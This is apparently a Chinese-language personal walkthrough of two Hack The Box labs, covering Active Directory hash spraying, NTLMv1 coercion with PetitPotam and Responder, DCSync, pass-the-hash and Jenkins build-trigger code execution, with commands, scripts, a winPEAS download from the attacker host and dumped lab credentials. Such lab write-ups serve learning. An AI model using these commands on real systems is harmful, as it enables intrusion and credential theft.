1g 0:00:00:00 DONE (2024-12-06 12:42) 50.00g/s 819200p/s 819200c/s 819200C/s 123456..cocoliso
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
|

成功了 接下来解HTLM就行 而且winrm开着的 能直接进
1
| /usr/share/doc/python3-impacket/examples/secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL > htlm.txt
|

有一堆账号 先把他们提取出来再进行爆破
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| import re
temp_htlm = open('htlm.txt','r',encoding='utf-8').readlines()
for i in temp_htlm:
temp = i.replace('\n','')
if 'endstop' in temp:
break
temp = temp.split(':')
try:
print(temp[0])
print(temp[3])
open('userandpass.txt','a',encoding='utf-8').write(temp[0]+':'+temp[2]+":"+temp[3]+'\n')
open('users.txt', 'a', encoding='utf-8').write(temp[0] + '\n')
open('hashes.txt', 'a', encoding='utf-8').write(temp[2] + ":" + temp[3] + '\n')
except:
pass
|

我加了个终止符 下面的方法暂且不用 这样就有了user.txt和hashes.txt 可以爆破了 但是如果全都进行一对一爆破 势必会很卡 首先我去找88端口 用kerbrute找出存在的用户名 然后再用用户名和hashes.txt一起爆破 这样更合理
1
| kerbrute userenum --dc htb.local -d htb.local users.txt
|
刚刚爆破了半天没一点反应 重启靶机就好了

都不行

只有三个账号 花了很长的时间 爆破了将近20分钟 默认密码都是错了 这三个账号我打算从最下面那个开始爆破

爆破着又不行了 这已经是第三次了 隔了一会又好了 然后又不行了 这里有防爆破的机制

445不行我就接着换协议 毕竟88端口没有限制 5985winrm可能也没限制 得测一下(winrm缺点就是账号密码可能是对的 但是无法登录就没办法)
1
2
| kerbrute bruteforce --dc htb.local -d htb.local new_userandpass.txt
crackmapexec winrm htb.local -u 1.txt -H hashes.txt
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| import re
temp_htlm = open('htlm.txt','r',encoding='utf-8').readlines()
for i in temp_htlm:
temp = i.replace('\n','')
if 'endstop' in temp:
break
temp = temp.split(':')
try:
print(temp[0])
print(temp[3])
open('new_userandpass.txt', 'a', encoding='utf-8').write("henry.vinson" + ":" + temp[3] + '\n')
open('new_userandpass.txt', 'a', encoding='utf-8').write("APT$" + ":" + temp[3] + '\n')
open('new_userandpass.txt', 'a', encoding='utf-8').write("Administrator" + ":" + temp[3] + '\n')
except:
pass
|
生成用户名+hash的方式才能用kerbrute 双线爆破 现在等就行了
等了很久 没有一个结果 kerbrute可能是我传上去的是一个hash字典 网上没有爆破账密的教程 所以我是看的-h写的参数 crackmapexec大概率是因为不允许winrm登录才导致没有爆破成功
https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%80%9A%E8%BF%87Kerberos-pre-auth%E8%BF%9B%E8%A1%8C%E7%94%A8%E6%88%B7%E6%9E%9A%E4%B8%BE%E5%92%8C%E5%8F%A3%E4%BB%A4%E7%88%86%E7%A0%B4
在我搜索的时候 这个博客给了一个工具 可以爆破hash
https://github.com/3gstudent/pyKerbrute/
使用的时候一直报错 看了下源码报错点

少了两个tab 没有对其到if语句里面 因为下面还有个else

奇了怪了 vscode里没事 放进去就变成这样 手动删减之后save还会变成这样 最终还是调好了 我感觉那个前面的tab有问题 我就全删了 重新排

又出报错了 我不知道就算我把它修好了 他还能不能用 但是至少目前只有这一条路 没办法 我去搜了这个报错 说是版本错误 但是

他这是有自带的 只要导入自带的包就行 接着改代码

我改好了导入在windows上没有问题 但是一到kali上 就会报错

https://stackoverflow.com/questions/52477683/importerror-bad-magic-number-in-time-b-x03-xf3-r-n-in-django
根据提示 我需要把那个文件夹里所有的pyc删了 删了就能运行了

这里报错是因为我的传参是文件指向 他需要的不是这个

改好之后又报错了

正常情况也是会报错的 跟我写的没关系
https://www.cnblogs.com/zhaijiahui/p/9597935.html
这个博客提到了解决方法 解决方法如下
1
| user_key = (RC4_HMAC, bytes.fromhex(temp))
|
报错


我改了又改 python2换到了python3 我敢肯定这个代码绝对有问题 根本改不完 这条路可能都行不通 我打算去看wp了
一个wp用的就是这个 他用的是python2 而且貌似并不报错 我看不到太多信息比如版本之类的 我去搜其他博客 我去搜其他博客 都是在介绍ADPwdSpray.py 并且用的也是python2 但我就是无法使用
还有一个wp的方法利用的是getTGT 原理就是 getTGT可以用hash 走的也是Kerberos协议 如果有正确回显那密码就是正确的 不得不说这个思路很好 他其实跟上面的那个ADPwdSpray.py原理没区别 但是ADPwdSpray.py我无法使用 接着编写bashshell
1
2
3
4
5
6
7
8
9
10
11
| #!/bin/bash
for temp in $(cat hashes.txt)
do
result=$(getTGT.py htb.local/henry.vinson -hashes $temp)
if [[ $result != *"Pre-authentication information was invalid"* ]]
then
echo $temp
echo $result
fi
done
|

出结果了 刚刚的用的是我找了一个错误 抛去错误输出就行了 这里提示时钟不对 也代表hash正确

用我之前一直用的调时间的方法 这里行不通 他找不到那个服务器 用ipv4和v6都不行
https://gitlab.com/NTPsec/ntpsec/-/issues/292
https://askubuntu.com/questions/429306/ntpdate-no-server-suitable-for-synchronization-found
这两个博客把我的现状解释的很清楚 如果目标服务器存在v4和v6 那么ntpdate就是不起作用 需要指定-6或者-4 其次还需要目标开启123端口ntp服务
我没有其他办法 得寻求claude的帮助 至少在学习期间我得收集几种方法
1
2
3
4
5
6
| rpcclient -U "" -N htb.local
rpcdump> gettime
# 或者
net time -S htb.local
date -s "Sat Dec 7 05:14:11 2024"
|
这是他的教程 拼接下命令就行
1
| date -s "$(net time -S htb.local)"
|

终于可以了 最好还是把两个命令拼在一起 不然过了一会又不行了

winrm果然不行 白浪费了那么多时间 smb倒是可以
1
| smbclient -L //htb.local/ -U 'henry.vinson%e53d87d42adaa3ca32bdb34a876cbffb' --pw-nt-hash
|

没什么区别 也没什么利用方法了 拿到一个用户的凭证无非就是SMB还有LDAP做信息收集 现状是目标SMB没区别 LDAP貌似不能用hash传递
1
2
| GetUserSPNs.py htb.local/henry.vinson -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb -dc-ip htb.local -request
GetADUsers.py -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb htb.local/henry.vinson -dc-ip htb.local
|
这一步我又去看了wp 都提示需要远程访问注册表
这里有reg.py的教程
https://wadcoms.github.io/wadcoms/Impacket-Reg/
ps:在我尝试的时候我发现它是通过smb查询的

1
| reg.py htb.local/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb -dc-ip htb.local query -keyName HKLM\\
|

没有权限?我开始找存在哪些注册表 或者说远程注册表什么
https://blog.csdn.net/youyudexiaowangzi/article/details/123707258
这个博客给了我答案

也就是只能查HKLM和HKU 刚刚试了HKLM不行

HKU还是有东西的 有些能访问 有些不行 我还是去搜搜HKU信息泄露把 不然太多了 一直查询太慢了

能访问的SID只有S-1-5-18、S-1-5-21-2993095098-2100462451-206186470-1105、S-1-5-21-2993095098-2100462451-206186470-1105_Classes
那只能挨个看了 除了这几个SID能看 其实.DEFAULT也能看 这里我选了-s参数 可以访问并遍历这个节点所有的key
1
| reg.py htb.local/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb -dc-ip htb.local query -keyName HKU\\ -s
|

1
2
3
| \S-1-5-21-2993095098-2100462451-206186470-1105\Software\GiganticHostingManagementSystem\
UserName REG_SZ henry.vinson_adm
PassWord REG_SZ G1#Ny5@2dvht
|

没问题 直接连上去
whoami和systeminfo没有什么信息
1
| C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iwr http://10.10.16.14:33333/winPEASany.exe -OutFile .\winPEASany.exe
|
传上去看看信息

从上往下看 标红色的都值得注意 我去看了一下history
查看之后如下
1
2
| $Cred = get-credential administrator
invoke-command -credential $Cred -computername localhost -scriptblock {Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" lmcompatibilitylevel -Type DWORD -Value 2 -Force}
|
目前每次遇到powershell的文件 我都会去搜索每个函数是干啥用的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| # 此命令获取一个凭证对象并将其保存在变量中。 输入命令时,系统会提示您输入用户名和密码。
# 输入所需信息后,cmdlet 会创建一个表示用户凭据的PSCredential$c对象并将其保存在变量中。
# 密码没有捕获到 因为是交互式的
get-credential
# 运行命令并指定凭证
invoke-command -credential $Cred
# 指定计算机
-computername
# 指定计算机后可以在目标计算机上执行命令 实际上就是在本地执行命令
-scriptblock
# 创建注册表并赋予初值
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa"
# 根据我查到的默认值为LmCompatibilityLevel 有以下介绍
# 默认情况下,LM 和 ntlmv1 未被禁用,因此值为 3,表示接受 LM 和 NTLMv1
# 并且如果服务器支持则使用 NTLMV2。
lmcompatibilitylevel
# type的参数我只找到了介绍 RegistryValueKind 但是我google了这个他说是32位无符号整数 数据类型
-Type DWORD
# value就是给某个name赋值 他没有指定name 实际上就是给LmCompatibilityLevel赋值为2
-Value 2 -Force
上面我搜索到的结果只提到了 3,4,5是什么情况 没提到2是什么情况 不过我还是找到了
下面最后一个链接告诉了我答案
也就是默认会使用NTLMv1认证同时接受LM和NTLM认证
|

参考的博客如下 包括参数都是能查到的
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-credential?view=powershell-7.4
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7.4
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-itemproperty?view=powershell-7.4
https://learn.microsoft.com/en-us/answers/questions/1189745/what-is-the-default-lmcompatibilitylevel-for-windo
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/network-security-lan-manager-authentication-level
读懂算是读懂了 利用倒是不知道怎么利用 或许这里就没有漏洞 但是由此作为切入点 我还是尝试搜索
NTLMv1滥用 我找到了这样一个博客
https://book.hacktricks.xyz/cn/windows-hardening/ntlm
并且这里也有Lsa的lmcompatibilitylevel设置方法及介绍


利用方法也有 不过没有具体的 只有思路 我感觉这个就是HTLM中继 我之前有学习过 如果域控这台机器开启了打印服务 Spooler服务运行的话 就可以尝试 我记录的这个方法 如果不行 我将接着去找 而且是针对HTLMv1的去找

貌似不行 这可能就不是HTLM中继 因为我尝试Get-Service Spooler的时候因为权限不够还是咋回事 无法访问 可能就是没开启 并且我尝试printerbug的时候 指定域名识别不出来
我接着看看上面的那个HTLMv1攻击
https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/NTLM%E4%B8%AD%E7%BB%A7%E5%92%8C%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/%E6%8D%95%E8%8E%B7%E5%92%8C%E7%A0%B4%E8%A7%A3Net-NTLMv1%E5%92%8CNTLMv1%E5%93%88%E5%B8%8C.md
https://3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-Net-NTLMv1%E4%BB%8B%E7%BB%8D
这两个博客我配合着看的
1
2
3
4
5
6
7
8
9
| 编辑/etc/responder/Responder.conf文件
HTTPS = On
DNS = On
LDAP = On
...
; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default)
Challenge = 1122334455667788
|
1
2
3
4
5
6
| # 然后运行
responder -I eth0 --lm
# 提到了两种方法 一种无需认证 一种需要认证
>PetitPotam.exe Responder-IP DC-IP #2021 年 8 月左右修补
>PetitPotam.py -u Username -p Password -d Domain -dc-ip DC-IP Responder-IP DC-IP #未为经过身份验证的用户打补丁
|
我打开这个软件的地址的时候看到了一个河马 突然感觉很眼熟 貌似学过

的确记录过 就在我刚刚利用的打印机认证的下面

打印机服务没开启 这两个确实开启了 没有问题 利用前提是可以的 版本号也对的上 只是我学的时候用的中继一直都是ntlmrelayx 这几次靶场都是responder的教程
1
| python PetitPotam.py -u henry.vinson_adm -p G1#Ny5@2dvht -d htb.local -dc-ip htb.local 10.10.16.14 htb.local
|

发起认证失败 没事还能传到靶机上用这个方法
1
| PetitPotam.exe Responder-IP DC-IP
|
结果也不行

在我的搜索下 没有任何能够让域控发起认证的方法了 又该去看看WP了 我只找到3个关于这个靶场的WP 我的目的是为了看每个人的思路是什么样的 从而扩展自己的思路 但是这里他们都选择一个MpCmdRun.exe
这是一个防病毒软件 根据WP的方法 就是开一个smbserver 让MpCmdRun.exe远程扫描 在远程扫描的时候需要发起认证 这时候就能捕获到了 这应该是常规的方法 我将它记到我的笔记里
我用dir找到了很多MpCmdRun.exe 随便试一个就行了
1
2
| C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0
.\MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.16.14\file.exe
|
到这里我懵了 我承认这个靶场我打了一天多 学习新东西不能一眼而过 所以我一直在思考记住 现在有点晕 实际上我前面尝试的是能利用的

我选错网卡了 我换成正确的网卡后 还是利用
1
| python PetitPotam.py -u henry.vinson_adm -p G1#Ny5@2dvht -d htb.local -dc-ip htb.local 10.10.16.14 htb.local
|

已经有结果了 HTLM中继是没问题的 打印机倒是不行 因为他的服务都没开 防病毒这个也能利用
1
| .\MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.16.14\file.exe
|

1
2
3
| [SMB] NTLMv1 Client : 10.10.10.213
[SMB] NTLMv1 Username : HTB\APT$
[SMB] NTLMv1 Hash : APT$::HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122334455667788
|
因为获取的是相同的 所以显示跳过了 还是按照之前的教程 Pentest_Note/wiki/横向移动/NTLM中继和中间人攻击/捕获和破解Net-NTLMv1和NTLMv1哈希.md at master · xiaoy-sec/Pentest_Note
https://crack.sh/ 关闭了正在修复 所以我这里选择hashcat
1
| hashcat -m 5500 -a 3 1.txt /usr/share/wordlists/rockyou.txt
|
hashcat太慢了 我换成了john
1
| john --format=netntlm 1.txt
|
实际上 crack.sh hashcat john 都能将密码跑出来 但是很费时间 我这里直接用wp里的结果了
1
| d167c3238864b12f5f82feae86a7f798
|
并且这个密码是APT$的密码 带$一般都是机器账户 而机器账户默认会拥有DCSync权限 而DCSync权限允许模拟域控制器进行复制 所以下面直接用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| /usr/share/doc/python3-impacket/examples/secretsdump.py -hashes :d167c3238864b12f5f82feae86a7f798 htb.local/APT\[email protected] -dc-ip htb.local
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c370bddf384a691d811ff3495e8a72e2:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:738f00ed06dc528fd7ebb7a010e50849:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
henry.vinson:1105:aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb:::
henry.vinson_adm:1106:aad3b435b51404eeaad3b435b51404ee:4cd0db9103ee1cf87834760a34856fef:::
APT$:1001:aad3b435b51404eeaad3b435b51404ee:d167c3238864b12f5f82feae86a7f798:::
|
PTH
1
| evil-winrm -i htb.local -u administrator -H c370bddf384a691d811ff3495e8a72e2
|

结束
这个靶场耗时一天多 这是我迄今为止遇到的最难的靶场 wp我都看了很多遍 涉及到了太多技术了 如果不看WP 我估计我会彻底卡死 刚开始的RPC我现在都有点忘了 除了RPC不是意料之中的 其他都算是常规的服务及渗透 思路要彻底打开才行 这个靶场做的非常好 跟理论知识严丝合缝 比如爆破账密这里只能用Kerberos协议 而我找的脚本都不行 扩展思路之后用getTGT其实也能爆破 这个想法非常好 其次就是APT$这个机器账户 机器账户一般都有DCSync权限 所以这里能直接给他的HTDS.dit复制出来 HTLM发起认证的方法也学了一种新的
注册表查询 bashshell的编写 powershell的审计 文本筛选(bash和python都行 我这里用的python) 改python脚本(原本的程序我都无法使用 所以改了半天改不好) 以及各种协议的hash传递
涉及的面非常广 在后期应该会和forest Fuse一起重新打一遍 和前几个靶场不一样的在于 前几个靶场不算常规的 算是针对服务特有的 而这个属于常规 但是要特别熟悉才行 不然想不到上面的这些方法
21.Object
信息收集:


80端口得到一个域名 貌似没有什么东西 只有一个指向

8080



admin是存在的 我不觉得这里是为了让我手动去挖漏洞 肯定是有利用方法的

后台跟之前学的azure devops一样 不过那个主要是针对aspx的 而这个是针对java的 所以理论就是如果能进入后台 那么就能跟之前一样传上去一个jsp文件 就能被正常交付到站点 所以说80端口可能就是在这里部署的 我需要的就是进入后台部署我的webshell之后就可以了 当然也可能是子域存在自动化部署 得上去看看
随便创了一个号进了后台

据我了解的getshell的方法就在这 基本上我找到的博客都提示的去找这条路 但很明显我的权限不够
而且2.317

他是21年10月19日发布的 所以我得找21年之后的exp 目前能确定的就是如果能拿到admin的密码 那么就能getshell 这个毋庸置疑 但是靶场发布的时间是2022年2月8日 也就代表了这四个月期间如果没有新的CVE那么就不能打EXP 得用其他方法

知道了初始密码的位置

如果能找到任意文件读取 也可以利用 UDP的几个端口我一直放着的 我想先收集一下这两个web服务都有什么
UDP 53
1
2
| dig object.htb @object.htb +notcp
dig object.htb @object.htb +notcp AXFR
|
没有找到什么东西


88 kerberos
这个没有什么信息泄露 就不看了
123 ntp
1
2
3
4
5
6
7
8
| nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 object.htb
ntpq -c readlist object.htb
ntpq -c readvar object.htb
ntpq -c peers object.htb
ntpq -c associations object.htb
ntpdc -c monlist object.htb
ntpdc -c listpeers object.htb
ntpdc -c sysinfo object.htb
|

其他的提示xxxxRequest timed out
389 ldap
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/3fad0ec9-414c-432a-ba0b-837c74091dd6?redirectedfrom=MSDN
https://serverfault.com/questions/661535/querying-ldap-server-on-udp

也就是仅能进行身份验证 目前身份验证已经有了udp的88端口 udp的389端口 tcp的5985端口
udp里面没有东西 dnsenum也不支持udp 那就只能手动爆破了 我打算利用FFUF爆破子域名
1
| wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.11.132 -H "Host: FUZZ.object.htb" --hh 29932
|
并且现在都有点不确定他到底是不是域控了 把目光放回tcp的80和8080 爆破子域的同时 爆破目录 我尝试cewl 80端口然后放到8080上爆破密码 但是没有成功
在爆破期间也不能光等着 我觉得8080的服务既然有用户注册功能还能进后台 那必然是有联系的 注册的用户Jenkins没有项目 我打算去搜Jenkins的教程 自行创建一个项目 然后发布
https://juejin.cn/post/7077957170121146376
https://toolsqa.com/postman/configure-jenkins-job-to-run-batch-command/
我找到了如上的博客



很多博客都讲了该如何写这个 直接搜就行
https://community.jenkins.io/t/windows-batch-w-error-ends-unexpectedly-w-status-success/4884/3
https://stackoverflow.com/questions/75830922/execute-windows-batch-command-in-jenkins-for-java-program
https://toolsqa.com/postman/configure-jenkins-job-to-run-batch-command/ #这个博客有全套流程 但是命令不是很详细
可惜的是我跟着走完发现少了一个build按键

导致无法执行 应该是权限不够 我开始google该如何触发build
https://ghazanfaralidevops.medium.com/jenkins-popular-build-triggers-automate-the-cicd-pipeline-81cc39f4701b #这个都介绍了
https://codefresh.io/learn/jenkins/9-jenkins-build-triggers-and-how-to-use-them-effectively/ #这个比上面的全
根据教程 挨个试

第一个是计划任务
计划任务的写法他也给了 如果是* * * * *就代表每分钟build一次

这里出结果了

console也出结果了 这里是可以执行命令的 处于学习的目的 我将把这几个选项 当然是不太难搭建的部分看一下
第二个是SCM(源代码管理)触发器
SCM 触发器是 Jenkins 中最常用的构建触发器之一,每当在源代码存储库中检测到更改时,它都会启动构建。此触发器对于持续集成实践至关重要,因为它可确保自动测试最新的代码更改并将其集成到主代码库中。

一样也是五个* 每分钟检查一次 只要我提交了 一分钟内就能build完成

我找了一个项目 只要他进行下载构建 就能执行build 可惜的是一直提示连不到

这里也进行了一次build 但是错误是因为我没有配置git tool 这个是因为我刚开始配不懂 后面我改了 就如我的配置截图上面可以看到我配置成了git 但是此时他报错
第三种 Trigger builds remotely (e.g., from scripts)

访问方式也很简单
http://object.htb:8080/job/123124/build?token=124124
token就写我刚刚在上面写的数字就行

也没有问题
最终我选择了一个用URL触发就行 因为每分钟执行一次 会导致build history越来越多 很麻烦
准备反弹shell

奇了怪了 访问失败

我确定不是端口的问题 就是访问不了 可能是出站流量全部禁了 我说刚刚git的那个为什么无法git到 明明项目就是存在的 那这里只能用他给的方法来getshell了 也就是winrm 利用winrm之前需要有一个账户才行
在进行我的想法之前 我打算先看看他的防火墙配置
https://learn.microsoft.com/en-us/powershell/module/netsecurity/get-netfirewallrule?view=windowsserver2022-ps
我在这里找到了命令方法 上面的文档里都能查到
1
2
3
4
5
6
| powershell /c "Get-NetFirewallRule -PolicyStore ActiveStore -Direction Outbound -Action Block -Enabled True"
-PolicyStore 活动存储中的所有防火墙规则
-Direction 出站策略
-Action 禁止策略
-Enabled 状态启用
|

果然 全部出站流量被禁止 这时候我想getshell只能通过这个web服务拿到信息 然后通过winrm连接 在我通过构建项目RCE之前 有个提示 admin的密码存放地 当时找的linux的是confing.xml windows貌似如下

就是这个 直接dir /S 找就行了

确实没找到confing.xml
我又找了一下 提示我说密码文件叫做config.xml 我又去搜了 但是这次我加上了搜索隐藏文件
1
2
3
| cd C:\
dir /S jenkins*
dir /S /a config.xml
|
不出意外是这个了


跟这个说的一样
https://medium.com/@sdanerib/getting-started-with-jenkins-docker-part-iii-reset-jenkins-admin-password-when-you-have-a-ff81ffa6774f
这个博客给了我答案 config.xml这个文件名称没问题的

密码就在这 这是我之前查询的结果 但是当时我不清楚这个就是密码
1
2
3
4
| <username>oliver</username>
<password>{AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA=}</password>
<passwordHash>#jbcrypt:$2a$10$q17aCNxgciQt8S246U4ZauOccOY7wlkDih9b/0j4IVjZsdjUNAPoW</passwordHash>
|
我没有找到相关的博客来介绍解密流程 我只找到了一些github项目
https://github.com/hoto/jenkins-credentials-decryptor
比如这个就很详细 按照这个来吧 如果不行就接着再去找
1
2
3
4
| $JENKINS_HOME/credentials.xml
$JENKINS_HOME/secrets/master.key
$JENKINS_HOME/secrets/hudson.util.Secret
$JENKINS_HOME/jobs/example-folder/config.xml - Possible location
|
需要这几个文件
1
2
3
4
5
6
7
8
9
10
| $JENKINS_HOME/secrets/master.key
c:\>dir /S /a master.key
Volume in drive C has no label.
Volume Serial Number is 212C-60B7
Directory of c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets
c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\master.key
$JENKINS_HOME/secrets/hudson.util.Secret
c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret
|

貌似是二进制文件 这个也好办 只要遇到二进制的 基本都用base64编码 再解码就行 我找到了这种方法
1
2
| certutil -f -encode c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\1.txt
type c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\1.txt
|

没问题
1
2
3
4
5
6
| gWFQFlTxi+xRdwcz6KgADwG+rsOAg2e3omR3LUopDXUcTQaGCJIswWKIbqgNXAvu
2SHL93OiRbnEMeKqYe07PqnX9VWLh77Vtf+Z3jgJ7sa9v3hkJLPMWVUKqWsaMRHO
kX30Qfa73XaWhe0ShIGsqROVDA1gS50ToDgNRIEXYRQWSeJY0gZELcUFIrS+r+2L
AORHdFzxUeVfXcaalJ3HBhI+Si+pq85MKCcY3uxVpxSgnUrMB5MX4a18UrQ3iug9
GHZQN4g6iETVf3u6FBFLSTiyxJ77IVWB1xgep5P66lgfEsqgUL9miuFFBzTsAkzc
pBZeiPbwhyrhy/mCWogCddKudAJkHMqEISA3et9RIgA=
|
1
2
| base64 -d 1.txt > hudson.util.Secret
cat hudson.util.Secret
|
开始解密 在上面的项目地址下好文件

报错了 还是根据github的教程来吧
1
2
3
4
5
| curl -L \
"https://github.com/hoto/jenkins-credentials-decryptor/releases/download/1.2.2/jenkins-credentials-decryptor_1.2.2_$(uname -s)_$(uname -m)" \
-o jenkins-credentials-decryptor
chmod +x jenkins-credentials-decryptor
|
他这个在后面有个uname判断 用它这个命令好点 不自己下载了

还是这样 我检查了几遍文件 确定我的文件没有出任何问题

有人跟我遇到了一样的问题 但是作者没有回复他
根据报错信息我去搜了下

他这里有介绍 而根据这个备注信息 我大概能理解了 hudson.util.Secret和master.key文件类型可能不对

我直接复制粘贴导致master.ket的类型为ascii text 我尝试去看看靶机上的类型是什么
可惜的是我找了一会 并没有找到再windows上判断某个文件是否为二进制文件的命令 那我打算还是用base64 这样也不担心文件类型了

白忙活了 那就再去看看config.xml文件 将他也用base64读出来 读出来之后依然不行
https://github.com/tweksteen/jenkins-decrypt/
这还有一个脚本


改好了之后接着运行 又报错了

我最近用的脚本 貌似就没几个能直接用 都要自己改 而这个提示非常明显了 3.9这个函数被删了 我改了之后又遇到了编码问题 这个我暂时不管了 再换一个项目
https://github.com/thesubtlety/go-decrypt-jenkins?tab=readme-ov-file

他告诉我hudson.util.Secret这个文件有问题 但是我看我的操作 base64编码 解码写入文件 应该没有问题才对 再试一次把 结果还是不行 遭不住了 我去看了wp 跟我这些步骤一样 没区别 都是这样操作的
我甚至直接把他们的导入命令拿来用了 还是报错 我感觉这软件是不是在我电脑上才出问题 我现在没有任何办法 比如我打包python3的那个文件 转成base64 再传到靶机上

这15万行根本不现实
经过一番搜索我找到了答案 在kali中 我习惯vim打开文件 然后写入 master.key我就是这样写入的 但是这样会导致文件多了一位 master.key应该是256位才对 不管是用vim还是echo 还是base64编码在解码 都是257位 我明明没有添加任何换行符依然都是这样
1
2
| wc -c master.key
257 master.key
|
直到我把文件放到windows上进行粘贴 他才正常为256位 我不知道为什么kali上也是粘贴进去会多一位 而windows上粘贴就正好是256
我从windows上把正常的master.key文件移到了kali上 不出意外


都能成功解开 我忙活了半天结果是文件出的问题

加上-n也能解决问题 这是其他wp没有提到的 我估计我之前看到的那些issus也是这个问题 没人意识到这一点
目前有了密码
1
2
3
4
5
6
7
| [
{
"id": "320a60b9-1e5c-4399-8afe-44466c9cde9e",
"password": "c1cdfun_d2434",
"username": "oliver"
}
]
|
oliver存在家目录 可以撞库连接winrm

能上来 开始提权 whoami /priv 和 systeminfo 都没东西
1
| cmd /c "netstat -ano | findstr LISTENING"
|

跟之前扫描udp的结果一样 就是一个域控 将SharpHound传上去吧
1
| upload SharpHound-v2.5.9/SharpHound.exe
|


然后下载到本地
奇怪的是明明里面有东西 但是无法导入


他会一直卡住 我以为我的bloodhound坏了 就上传了以前获取过的zip 结果是可以解压解析的

那就是我弄下来的文件有问题
https://www.cnblogs.com/tysec/p/16811651.html
用这个博客里的方法 也失败了
http://www.luckysec.cn/posts/7ebaa71c.html
这个博客告诉我了答案 但是我的数据采集工具也是最新的 为啥不行呢 至少4.0.3兼容 用这个看看

也不麻烦 解压就能用
https://github.com/BloodHoundAD/BloodHound/releases
1
| ./BloodHound --no-sandbox
|

还是不行 我感觉可能又是文件的问题 我把kali重启了 还是不行 我只能再去看wp 看看别人是否也这样 可惜并没有这样的 但是那个博客给了我一个提示 他的博客是22年写的 他用的也是22年的老版本去提取 就因为提取这一步我才能解决 如果后面有人跟我一样 起码还能解决
https://github.com/BloodHoundAD/SharpHound/releases?page=3

下载最初的版本 找到里面的ps1提取
1
| powershell -exec bypass -command "Import-Module ./SharpHound.ps1; Invoke-BloodHound -c all"
|

然后启动最新版的bloodhound 不要用4.0.3的 我这里是


将刚刚那个导入就行 终于成功了 大概率是目标域环境太复杂了?还是因为什么提取器提取老是错误 导致无法解析到bloodhound

以当前用户为基准来看看如何提权 有点乱 挨个来吧 因为net user给我看了还有俩用户


具体权限如下



路径这样就清晰了 直接改smith的密码 然后操控maria 给smith加到域管里就行
总体路径如下

路径有了就挨个来

先改smith密码
1
2
3
4
5
6
7
8
9
| $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('OBJECT.HTB\oliver', $SecPassword)
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
upload /home/kali/Desktop/bruteratel/server_confs/PowerView.ps1
. .\PowerView.ps1
Set-DomainUserPassword -Identity smith -AccountPassword $UserPassword -Credential $Cred
Set-DomainUserPassword -Identity smith -AccountPassword $UserPassword
|

smith这个用户不见了 没有找到

实际上是存在的 因为本来就有改smith的权限 我把后面的凭证删了
1
| Set-DomainUserPassword -Identity smith -AccountPassword $UserPassword
|

运行没有报错
1
| evil-winrm -i object.htb -u smith -p Password123!
|

成功上来了 接着下一步的help如何利用 还是去掉鉴权 因为我已经是smith了
1
2
| Set-DomainObject -Identity maria -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}
Get-DomainSPNTicket maria | fl
|

又开始报错了 他说他无法验证SPN上的参数 奇了怪了 我又写了一次 |fl 也去掉了
1
2
| Set-DomainObject -Identity maria -SET @{serviceprincipalname='nonexistent/BLAHBLAH11'}
Get-DomainSPNTicket maria
|

